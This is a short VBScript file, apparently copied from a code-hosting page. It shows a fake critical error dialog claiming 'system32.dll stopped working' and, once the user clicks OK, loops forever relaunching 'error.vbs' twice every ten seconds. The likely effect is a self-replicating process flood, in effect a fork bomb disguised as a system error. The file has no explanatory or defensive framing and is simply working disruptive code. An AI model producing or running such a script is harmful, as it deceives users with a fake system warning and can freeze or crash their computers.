13 lines
No EOL
325 B
Text
Executable file
13 lines
No EOL
325 B
Text
Executable file
result = MsgBox ("An Error Occured at C:/", vbCritical, "system32.dll stopped working")
|
|
|
|
Select Case result
|
|
Case vbOk
|
|
Do
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "error.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "error.vbs"
|
|
WScript.Sleep 10000
|
|
Loop
|
|
|
|
End Select |